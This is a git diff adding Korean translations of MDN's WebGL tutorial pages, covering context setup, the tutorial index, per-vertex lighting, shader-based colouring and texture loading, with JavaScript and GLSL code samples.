+  // If we don't have a GL context, give up now
+  if (!gl) {
+    alert("Unable to initialize WebGL. Your browser may not support it.");
+    gl = null;
+  }
+
+  return gl;
+}
+</pre>
+
+<p>캔버스에서 WebGL 컨텍스트를 얻기 위해 canvas로 "webgl"이라고 불리는 컨텍스트를 요청할 것입니다. 만약에 실패한다면 "experimental-webgl"이라는 이름으로 시도할 것입니다. 만약 이마저도 실패한다면 사용자에게 사용 중인 브라우저가 WebGL을 지원하지 않는다는 경고를 출력할 것입니다. <span style="line-height: 1.5;">이게 전부입니다. 이 시점에서 gl은 null(WebGL 컨텍스트를 이용할 수 없다는 의미)이거나 렌더링할 WebGL 컨텍스트를 참조할 것입니다.</span></p>
+
+<div class="note"><strong>Note:</strong> experimental-webgl이라는 이름은 사양 개발 시 사용되는 컨텍스트를 위한 일시적인 이름입니다. webgl은 사양이 확정되면 사용됩니다.</div>
+
+<p>이 시점에서 이 코드는 WebGL 컨텍스트가 성공적으로 초기화하는 데 충분한 코드입니다. 이 코드를 통해 검정 박스 형태의 빈 공간이 형성되며, 여기에<span style="line-height: 1.5;"> 콘텐츠를 생성할 기본 준비가 되었습니다.</span></p>
+
+<p><a href="/samples/webgl/sample1/index.html" title="https://developer.mozilla.org/samples/webgl/sample1/index.html">여기를 클릭하여 예제를 확인하세요</a>. 브라우저가 WebGL을 호환한다면 실행될 것 입니다.</p>
+
+<h3 id="WebGL_컨텍스트_크기_조정">WebGL 컨텍스트 크기 조정</h3>
+
+<p>이제 새로운 WebGL 컨텍스트는 새로운 컨텍스트 인스턴스를 얻었습니다. 그리고 CSS 없이 캔버스 요소의 height와 width로 뷰포트의 해상도를 설정합니다. 캔버스 요소의 스타일 편집하면 출력되는 크기를 변경될 것이지만 렌더링 해상도는 변경되지 않습니다. 또한 컨텍스트가 생성된 후 캔버스 요소의 width와 height 속성을 편집하면 그려지는 픽셀 수를 변경할 수 없습니다. <span style="line-height: 1.5;">WebGL 렌더의 해상도를 변경하려면 사용자가 캔버스 문서 전체 창 크기를 조정하거나 앱에서 그래픽 설정을 조정할 수 있게 하길 원할 것입니다. WebGL 컨텍스트 viewport() 함수가 변경할 수있는 것으로 알려져 있습니다.</span></p>
+
+<p>렌더링된 WebGL 컨텍스트의 해상도를 수정하려면 위에 나오는 gl과 canvas 변수를 사용해야 됩니다.</p>
+
+<pre class="brush: js">gl.viewport(0, 0, canvas.width, canvas.height);</pre>
+
+<p>캔버스는 CSS 스타일과 다른 해상도로 렌더링되어질 때 화면에서 차지하는 크기를 볼 것입니다. CSS로 크기를 조정하면 낮은 해상도에서 렌더링하거나 브라우저 화면을 확대할 때 자원을 절약하는 데 유용합니다. 축소는 슈퍼샘플 안티에일리어싱(SSAA) 효과를 사용할 때 가능합니다. (많은 성능 비용이 발생하고 작은 결과이기는 하지만) <span style="line-height: 1.5;">아래에 참고 사항을 살펴보는 것이 가장 좋습니다.</span></p>
+
+<ul>
+ <li><a href="http://dev.opera.com/articles/view/an-introduction-to-webgl/">WebGL에 대한 소개</a> - DEV.OPERA에 있는 Luz Caballero가 작성한 문서입니다. 이 문서는 WebGL이 무엇인지, 어떻게 작동되는지, 렌더링 파이프라인 개념에 대하여 설명하고 몇 가지 WebGL 라이브러리에 대하여 소개합니다.</li>
+ <li><a href="http://duriansoftware.com/joe/An-intro-to-modern-OpenGL.-Table-of-Contents.html">현대 OpenGL에 대한 소개</a> - Joe Groff가 작성한 OpenGL에 대한 좋은 문서 시리즈입니다. 조는 명확하게 역사를 가지고 OpenGL의 중요한 그래픽 파이프라인 개념에 대해 소개하고 몇 가지 데모를 통해 OpenGL이 어떻게 작동되는지 설명하기 위해 예제들을 제공합니다. 만약 OpenGL에 대한 개념이 안 잡혀 있다면 시작하기 좋은 장소가 될 것입니다.</li>
+</ul>
+
+<p>{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/index.html b/files/ko/web/api/webgl_api/tutorial/index.html
new file mode 100644
index 0000000000..0e6230b0ea
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/index.html
@@ -0,0 +1,40 @@
+---
+title: WebGL tutorial
+slug: Web/API/WebGL_API/Tutorial
+tags:
+  - Tutorial
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial
+---
+<div>{{WebGLSidebar}}</div>
+
+<div class="summary">
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> 은 WebGL을 지원하는 브라우져에서 plugin을 사용하지 않고도, 웹 콘텐츠가 <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 기반의 API를 이용하여 HTML {{HTMLElement("canvas")}}에서 3D 랜더링을 할 수 있도록 해 줍니다. WebGL 프로그램은 JavaScripts로 작성 된 제어 코드와 컴퓨터의 Graphics Processing Unit (GPU)에서 실행되는 특수한 효과를 내는 코드(Shader code)로 구성 됩니다. WebGL 요소들은 다른 HTML요소들과 섞어서 함께 사용 할 수 있으며 페이지의 다른 부분이나 페이지 배경과 함께 사용 할 수 있습니다.</p>
+</div>
+
+<p><span class="seoSummary">이 튜토리얼은 WebGL 그래픽을 그리기 위해 &lt;canvas&gt;요소를 어떻게 사용하는지에 관해 기본부터 기술합니다. 제공된 예제들은 여러분이 WebGL로 무엇을 할 수 있는지를 명확히하고, 여러분 소유의 콘텐츠를 제작할 수 있도록 작은 코드들을 제공 할 것입니다.</span></p>
+
+<h2 id="시작하기_전에">시작하기 전에</h2>
+
+<p><code>&lt;canvas&gt;</code> 요소를 사용하는 것은 크게 어렵진 않지만, 여러분은 <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> 과 <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>에 대하여 기본적인 이해가 꼭 필요합니다. <code>&lt;canvas&gt;</code> 요소와 WebGL은 일부 오래된 브라우저에서 지원되지 않으나, 최근 버전의 모든 주요 브라우저에서 지원됩니다. 우리는 canvas에 그림을 그리기 위해 그림을 신속하게 생성하는 JavaScript 콘텍스트 객체를 사용합니다.</p>
+
+<h2 id="In_this_tutorial">In this tutorial</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">Getting started with WebGL</a></dt>
+ <dd>How to set up a WebGL context.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">Adding 2D content to a WebGL context</a></dt>
+ <dd>How to render simple flat shapes using WebGL.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL">Using shaders to apply color in WebGL</a></dt>
+ <dd>Demonstrates how to add color to shapes using shaders.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL">Animating objects with WebGL</a></dt>
+ <dd>Shows how to rotate and translate objects to create simple animations.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL">Creating 3D objects using WebGL</a></dt>
+ <dd>Shows how to create and animate a 3D object (in this case, a cube).</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Using textures in WebGL</a></dt>
+ <dd>Demonstrates how to map textures onto the faces of an object.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">Lighting in WebGL</a></dt>
+ <dd>How to simulate lighting effects in your WebGL context.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL">Animating textures in WebGL</a></dt>
+ <dd>Shows how to animate textures; in this case, by mapping an Ogg video onto the faces of a rotating cube.</dd>
+</dl>
diff --git a/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
new file mode 100644
index 0000000000..37eb1ee7fa
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
@@ -0,0 +1,177 @@
+---
+title: WebGL에서 조명 효과 적용하기
+slug: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
+tags:
+  - WebGL
+  - 방향광
+  - 빛
+  - 웹지엘
+  - 점광
+  - 조명
+  - 주변광
+translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}</p>
+
+<p>WebGL은 OpenGL 표준과는 다르게 자체적인 조명 효과를 제공하지 않습니다. 따라서 WebGL에서의 조명 효과는 개발자 스스로 만들어야 합니다. 다행스럽게도 조명 효과를 만드는 것이 아주 어려운 일은 아니며, 이 글을 통해 몇 가지 기초적인 부분을 이해할 수 있을 것입니다.</p>
+
+<h2 id="3D에서의_조명_시뮬레이션과_명암_효과">3D에서의 조명 시뮬레이션과 명암 효과</h2>
+
+<p>3D 그래픽의 조명 시뮬레이션에 대한 이론적 바탕에 대해 상세하게 알아보는 것은 이 글의 범위를 많이 벗어난다고 할 수 있지만, 그 동작 원리에 대해서는 조금이나마 알아볼 필요가 있습니다. 먼저 가장 널리 사용되는 조명 모델인 <a href="http://en.wikipedia.org/wiki/Phong_shading">퐁 셰이딩(Phong shading)에 대한 위키피디아 자료</a>를 한 번 읽어보시기 바랍니다.</p>
+
+<p>조명에는 세 가지 기본 타입이 있습니다:</p>
+
+<p><strong>주변광(Ambient light)</strong>은 장면(scene) 전반에 걸쳐 스며드는 빛으로, 방향성이 없으며 장면 내에 있는 모든 표면을 그 표면의 방향과 관계없이 동일한 밝기로 비춰줍니다.</p>
+
+<p><strong>방향광(Directional light)</strong>은 특정한 방향으로만 비춰지는 빛입니다. 방향광은 아주 먼 곳에서 비춰지기 때문에 모든 빛 입자(photon, 광자)가 서로 평행한 방향으로 움직입니다. 방향광의 대표적인 예는 바로 태양광입니다.</p>
+
+<p><strong>점광(Point light)</strong>은 한 지점에서 모든 방향으로 퍼지면서 발산하는 빛입니다. 실생활에서 접할 수 있는 대부분의 빛이 이 점광에 해당합니다. 전구에서 나오는 빛이 점광의 대표적인 예라고 할 수 있겠습니다.</p>
+
+<p>이 글에서는 <a href="http://en.wikipedia.org/wiki/Specular_highlight">반사광 하이라이트(specular highlight)</a>나 점광원에 대해서는 다루지 않고, 단순한 방향광 조명과 주변광 조명만 알아 보겠습니다. 주변광에 방향광원(directional light source)을 더한 조명 효과를 <span style="line-height: 16.7999992370605px;"><a href="/en/WebGL/Using_textures_in_WebGL">앞 단원의 예제</a>에 있던 회전하는 정육면체에 적용해보겠습니다.</span></p>
+
+<p>점광원이나 반사광을 고려하지 않는다면, 방향광 조명을 구현하기 위한 정보는 크게 두 가지가 있습니다:​</p>
+
+<ol>
+ <li>각 정점의 표면에 수직인 벡터를 의미하는 <strong>표면 법선 벡터(surface normal vector)</strong>.</li>
+ <li>빛이 쪼여지는 방향을 나타내는 <strong>방향 벡터</strong>.</li>
+</ol>
+
+<p>위 두 가지 정보를 구하고나면, 방향광의 방향과 정육면체의 표면이 만나는 각도에 따라 달라지는 방향광 조명 효과와 모든 표면에 균일하게 적용되는 <span style="line-height: 16.7999992370605px;">주변광 조명 효과</span>를 반영해서 각 정점의 색상을 조정할 수 있도록 정점 셰이더를 수정해야 합니다. 셰이더 코드를 어떻게 수정하는지는 조금 이따가 살펴보기로 하고, 먼저 정점의 법선 벡터를 만드는 방법부터 알아보겠습니다.</p>
+
+<h2 id="정점_별_법선_구성">정점 별 법선 구성</h2>
+
+<p>조명 효과 적용을 위해 첫번째로 해야할 일은 정육면체를 이루는 모든 정점의 법선 배열을 구성하는 것입니다. 정육면체는 아주 단순한 객체이므로 정육면체의 법선 배열 역시 쉽게 만들 수 있습니다. 하지만 복잡하게 생긴 객체의 법선을 계산하는 것은 상당히 어렵습니다.</p>
+
+<pre class="brush: js">cubeVerticesNormalBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+
+var vertexNormals = [
+  // 앞
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+
+  // 뒤
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+
+  // 위
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+
+  // 아래
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+
+  // 오른쪽
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+
+  // 왼쪽
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(vertexNormals), gl.STATIC_DRAW);
+</pre>
+
+<p>이런 배열의 처리는 앞 단원에서 여러 번 다뤄왔으므로 이젠 꽤 친숙해 보일 것입니다. 새로운 버퍼를 생성하고, 버퍼와 법선 배열을 바인딩하고, <code>bufferData()</code>를 호출해서 법선 배열을 버퍼에 전달합니다.</p>
+
+<p>그 다음에 법선 배열과 셰이더 attribute 변수에 바인딩해서 셰이더가 법선 배열 정보에 접근할 수 있도록 해주는 코드를 <span style="line-height: 16.7999992370605px;"><code>drawScene()</code>에 </span>추가합니다:</p>
+
+<pre class="brush: js">gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+gl.vertexAttribPointer(vertexNormalAttribute, 3, gl.FLOAT, false, 0, 0);
+</pre>
+
+<p>마지막으로 uniform 행렬을 구성하는 <code>setMatrixUniforms()</code>에 <strong>법선 행렬</strong>을 만들고 셰이더에게 전달하는 코드를 추가합니다. 법선 행렬은 광원을 기준으로 정육면체의 상대적인 방향에 따라 법선을 변환하는 데 사용됩니다:</p>
+
+<pre class="brush: js">var normalMatrix = mvMatrix.inverse();
+normalMatrix = normalMatrix.transpose();
+var nUniform = gl.getUniformLocation(shaderProgram, "uNormalMatrix");
+gl.uniformMatrix4fv(nUniform, false, new WebGLFloatArray(normalMatrix.flatten()));
+</pre>
+
+<h2 id="셰이더_수정">셰이더 수정</h2>
+
+<p>조명 효과 구현을 위해 셰이더가 필요로 하는 데이터가 모두 준비되었으므로, 이제 셰이더 코드를 수정해보겠습니다.</p>
+
+<h3 id="정점_셰이더">정점 셰이더</h3>
+
+<p>제일 먼저 방향광 조명과 주변광 조명에 의한 각 정점의 명암 값을 계산해야 합니다. 일단 소스 코드부터 보겠습니다:</p>
+
+<pre class="brush: html">&lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+  attribute highp vec3 aVertexNormal;
+  attribute highp vec3 aVertexPosition;
+  attribute highp vec2 aTextureCoord;
+
+  uniform highp mat4 uNormalMatrix;
+  uniform highp mat4 uMVMatrix;
+  uniform highp mat4 uPMatrix;
+
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vTextureCoord = aTextureCoord;
+
+    // 조명 효과 적용
+
+    highp vec3 ambientLight = vec3(0.6, 0.6, 0.6);
+    highp vec3 directionalLightColor = vec3(0.5, 0.5, 0.75);
+    highp vec3 directionalVector = vec3(0.85, 0.8, 0.75);
+
+    highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);
+
+    highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);
+    vLighting = ambientLight + (directionalLightColor * directional);
+  }
+&lt;/script&gt;
+</pre>
+
+<p>정점의 위치 계산이 끝나고, 정점의 텍셀(texel) 좌표값을 얻고나면, 그 값을 기준으로 정점의 명암을 계산할 수 있습니다.</p>
+
+<p>정점의 명암을 계산하려면 먼저 정육면체의 현재 위치와 방향을 기준으로 법선을 변환해야 합니다. 정점의 법선에 법선 행렬을 곱하면 <span style="line-height: 16.7999992370605px;">법선이 변환</span>됩니다. 그 다음에 변환된 법선과 방향 벡터(광원으로부터 빛이 비춰지는 방향)를 내적(dot product)하면 정점에 비춰지는 방향광의 양을 계산할 수 있습니다. 빛의 양이 음수일 수는 없으므로, 계산된 방향광의 양이 음수일 때는 방향광의 양을 0으로 설정해줍니다.</p>
+
+<p>방향광의 양을 계산하고 나면, 방향광의 색상과 방향광의 양을 곱한 값에 주변광의 값을 더해서 정점에 비춰지는 최종 빛의 양을 구할 수 있습니다. 결과적으로 <span style="line-height: 16.7999992370605px;">RGB값이 나오는데, 이 RGB값은 </span>프래그먼트 셰이더가 우리가 그릴 모든 픽셀에 대한 색상값을 계산하는데 사용됩니다.</p>
+
+<h3 id="프래그먼트_셰이더">프래그먼트 셰이더</h3>
+
+<p>이제 정점 셰이더에서 계산한 빛의 양을 반영해서 조명 효과를 표현할 수 있도록 <span style="line-height: 16.7999992370605px;">프래그먼트 셰이더를 </span>수정해야 합니다:</p>
+
+<pre class="brush: js">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  uniform sampler2D uSampler;
+
+  void main(void) {
+    mediump vec4 texelColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+
+    gl_FragColor = vec4(texelColor.rgb * vLighting, texelColor.a);
+  }
+&lt;/script&gt;
+</pre>
+
+<p>앞 단원의 예제에서 했던 것처럼 텍셀의 색상값을 계산합니다. 하지만 <span style="line-height: 16.7999992370605px;">이번에는 </span>텍셀의 색상값을 바로 프래그먼트의 색상값으로 설정하지 않고,  조명 효과를 표현할 수 있도록 텍셀의 색상값에 빛의 양을 곱한 값을 프래그먼트의 색상값으로 설정합니다.</p>
+
+<p>자 이제 다 완성했습니다! WebGL을 지원하는 브라우저라면 <a href="/samples/webgl/sample7/index.html">여기</a>에서 실제 동작하는 예제를 확인할 수 있습니다.</p>
+
+<h2 id="연습해보기">연습해보기</h2>
+
+<p>알다시피 이번 예제는 정점 단위의 기본적인 조명 효과를 구현한 단순한 예제입니다. 더 수준 높은 컴퓨터 그래픽을 만들려면 정점 단위가 아니라 픽셀 단위의 조명 효과가 필요할 것입니다. 하지만 정점 단위의 조명 효과를 다룬 이 글이 고급 그래픽을 만드는데 도움이 될 것입니다.</p>
+
+<p>빛의 방향이나 광원의 색상 등을 다른 값으로 바꿔보는 등 다양하게 실험해보는 것도 조명 효과를 이해하는데 도움이 될 것입니다.</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
new file mode 100644
index 0000000000..edfb74401a
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
@@ -0,0 +1,98 @@
+---
+title: WebGL에서 셰이더를 사용하여 색상 적용하기
+slug: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+tags:
+  - 색상
+  - 셰이더
+  - 웹지엘
+  - 컬러
+translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
+
+<p><a href="/ko/docs/Web/WebGL/Adding_2D_content_to_a_WebGL_context">앞 단원의 예제</a>에서 정사각형을 그려봤으니, 이제 정사각형에 색을 칠해 보겠습니다. 셰이더를 조금 수정하면 색을 칠할 수 있습니다.</p>
+
+<h2 id="정점에_색상_적용">정점에 색상 적용</h2>
+
+<p><span style="line-height: 16.7999992370605px;">GL(Graphic Library)에서 객체는 정점의 집합으로 구성되며, 각 정점은 위치값과 색상값을 가지고 있습니다. 기본적으로 정점이 아닌 모든 픽셀의 색상값은 선형 보간법(linear interpolation)을 이용해서 계산됩니다. 색상 뿐 아니라 위치를 포함한 다른 모든 속성들도 마찬가지로 선형 보간법으로 계산됩니다. 색상의 경우 선형 보간법을 통해 보간되면 자연스럽게 부드러운 그라데이션(gradation)이 형성됩니다. 앞 단원에서는 정점 셰이더에서 정점에 아무런 색상도 적용하지 않았습니다. 대신에 프래그먼트 셰이더에서 각 픽셀에 흰색을 적용했기 때문에 전체 사각형이 흰색으로 그려질 수 있었습니다.</span></p>
+
+<p>이제 정사각형의 각 꼭지점에 빨간색, 파란색, 녹색, 흰색을 적용해 보겠습니다. 정점이 아닌 픽셀들은 선형 보간에 의해 그라데이션이 형성됩니다. 먼저 네 개의 정점에 색을 지정하겠습니다. 정점에 색을 지정하려면 정점의 색상값을 가진 배열을 만들고, 이 배열을 WebGL 버퍼에 저장해야 합니다. <code>initBuffers()</code> 함수에 아래의 내용을 추가합니다:</p>
+
+<pre class="brush: js">  var colors = [
+    1.0,  1.0,  1.0,  1.0,    // 흰색
+    1.0,  0.0,  0.0,  1.0,    // 빨간색
+    0.0,  1.0,  0.0,  1.0,    // 녹색
+    0.0,  0.0,  1.0,  1.0     // 파란색
+  ];
+
+  squareVerticesColorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+}
+</pre>
+
+<p>먼저 정점에 지정할 색상값을 가진 자바스크립트 배열을 생성합니다. 4개의 원소가 하나의 색을 나타내며, 정사각형의 4개의 꼭지점에 흰색, 빨간색, 파란색, 녹색이 지정되도록 값을 정합니다. 이 색상 정보 배열을 저장하기 위해 새로운 WebGL 버퍼를 생성하고, 배열은 부동소수점 형식으로 WebGL의 버퍼에 저장합니다.</p>
+
+<p>이 색상 정보를 실제 렌더링에 사용하려면, 컬러 버퍼에서 색상 정보를 읽을 수 있도록 정점 셰이더를 수정해야 합니다:</p>
+
+<pre class="brush: html">&lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+  attribute vec3 aVertexPosition;
+  attribute vec4 aVertexColor;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  varying lowp vec4 vColor;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vColor = aVertexColor;
+  }
+&lt;/script&gt;
+</pre>
+
+<p>수정 전의 소스와 가장 많이 달라진 점은, <span style="line-height: 16.7999992370605px;">색상 배열에서 읽은 값을 토대로 </span>각 정점에 색상값을 지정했다는 점입니다.</p>
+
+<h2 id="프래그먼트에_색상_입히기">프래그먼트에 색상 입히기</h2>
+
+<p>앞 단원에서 사용했던 프래그먼트 셰이더를 다시 한 번 보겠습니다:</p>
+
+<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+  void main(void) {
+    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+  }
+&lt;/script&gt;
+</pre>
+
+<p>프래그먼트에 색상 입히기는 아주 쉽습니다. 위와 같이 프래그먼트 셰이더 내에서 흰색을 지정해주는 대신 단순히 <code>vColor</code> 변수에서 값을 읽어오도록 수정하기만 하면, 각 픽셀 별로 보간된 색상값을 구할 수 있습니다:</p>
+
+<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+  varying lowp vec4 vColor;
+
+  void main(void) {
+    gl_FragColor = vColor;
+  }
+&lt;/script&gt;
+</pre>
+
+<p>위와 같이 각 프래그먼트는 정점을 기준으로 상대적인 위치에 따라 선형 보간된 색상값을 갖게 됩니다.</p>
+
+<h2 id="색상을_적용해서_그리기">색상을 적용해서 그리기</h2>
+
+<p>이제 셰이더 프로그램에서 색상 변수를 초기화하고 활성화하는 내용을 <code style="font-style: normal; line-height: 16.7999992370605px;">initShaders()</code><span style="line-height: 16.7999992370605px;">에 </span>추가합니다:</p>
+
+<pre class="brush: js">vertexColorAttribute = gl.getAttribLocation(shaderProgram, "aVertexColor");
+gl.enableVertexAttribArray(vertexColorAttribute);
+</pre>
+
+<p>다음은 정사각형을 그릴 때 색상 정보를 사용하도록 <code>drawScene()</code>을 수정합니다:</p>
+
+<pre class="brush: js">gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);
+</pre>
+
+<p>이제 WebGL이 호환되는 브라우저에서 <a href="/samples/webgl/sample3/index.html">샘플</a>을 보면, 검정색 바탕에 아래와 같은 정사각형이 그려지는 것을 볼 수 있습니다:</p>
+
+<p><img alt="screenshot.png" class="default internal" src="/@api/deki/files/4081/=screenshot.png"></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
new file mode 100644
index 0000000000..b84b49017c
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
@@ -0,0 +1,183 @@
+---
+title: WebGL에서 텍스쳐 사용하기
+slug: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+tags:
+  - Texture
+  - WebGL
+  - 텍스쳐
+translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
+
+<p>앞 단원의 예제에서 회전하는 3차원 정육면체를 만들어봤습니다. 이번에는 정육면체의 각 면에 단색으로 색을 칠하는 대신에 텍스쳐를 입혀 보겠습니다.</p>
+
+<h2 id="텍스쳐_로딩">텍스쳐 로딩</h2>
+
+<p>가장 먼저 해야할 일은 텍스쳐를 읽어오는 것입니다. 이번 예제에서는 동일한 하나의 텍스쳐를 회전하는 정육면체의 6개의 면에 입혀볼 것입니다. 여러개의 텍스쳐를 각 면에 입힌다고 해도 하나를 입히는 것과 동일한 방법을 적용하면 됩니다.</p>
+
+<div class="note"><strong>Note:</strong> 텍스쳐를 외부에서 읽어올 때는 <a href="/En/HTTP_access_control">크로스 도메인 규칙(cross-domain rules)</a>에 유의해야 합니다. CORS(Cross Origin Resource Sharing)승인을 받을 수 있는 도메인에 있는 텍스쳐만 읽어올 수 있습니다. 자세한 내용은 <a href="/ko/docs/Web/WebGL/Cross-Domain_Textures">크로스 도메인 텍스쳐(Cross-domain textures)</a>를 참고하세요.</div>
+
+<p>텍스쳐를 읽어오는 코드는 다음과 같습니다:</p>
+
+<pre class="brush: js">function initTextures() {
+  cubeTexture = gl.createTexture();
+  cubeImage = new Image();
+  cubeImage.onload = function() { handleTextureLoaded(cubeImage, cubeTexture); }
+  cubeImage.src = "cubetexture.png";
+}
+
+function handleTextureLoaded(image, texture) {
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR_MIPMAP_NEAREST);
+  gl.generateMipmap(gl.TEXTURE_2D);
+  gl.bindTexture(gl.TEXTURE_2D, null);
+}
+</pre>
+
+<p><code>initTextures()</code> 루틴은 GL의 <code>createTexture()</code> 함수를 호출해서 GL의 텍스쳐 객체인 <code>cubeTexture</code>를 생성하는 걸로 시작됩니다. 그리고 <code>Image</code> 객체를 생성해서 텍스쳐로 사용하기 위해 로딩한 이미지 파일을 <code>Image</code> 객체에 저장합니다. <code>handleTextureLoaded()</code>  콜백 루틴은 이미지 로딩이 완료되면 실행됩니다.</p>
+
+<p>텍스쳐를 실질적으로 생성하려면, 앞에서 새로 생성한 텍스쳐 객체를 <code>gl.TEXTURE_2D</code>에 바인딩해야 합니다. 그리고 나서 이미지 데이터가 로딩된 이미지 객체를 <code>texImage2D()</code>에 전달하여 호출하면, 이미지 데이터가 텍스쳐에 쓰여(write) 집니다.</p>
+
+<div class="note"><strong>Note:</strong> 텍스쳐의 너비와 높이는 <strong>거의 대부분</strong>의 상황에서 2의 거듭제곱 픽셀(1, 2, 4, 8, 16, 32, ...)이어야 합니다. 예외인 경우에 대해서는 아래의 <em>"</em><a href="/ko/docs/Web/WebGL/Using_textures_in_WebGL#Non_power-of-two_textures" style="font-style: italic; line-height: 16.7999992370605px;" title="/en-US/docs/Web/WebGL/Using_textures_in_WebGL#Using_non_Power-Of-Two_textures">크기가 2의 거듭제곱 픽셀이 아닌 텍스쳐</a><em>"를 참고하세요.</em></div>
+
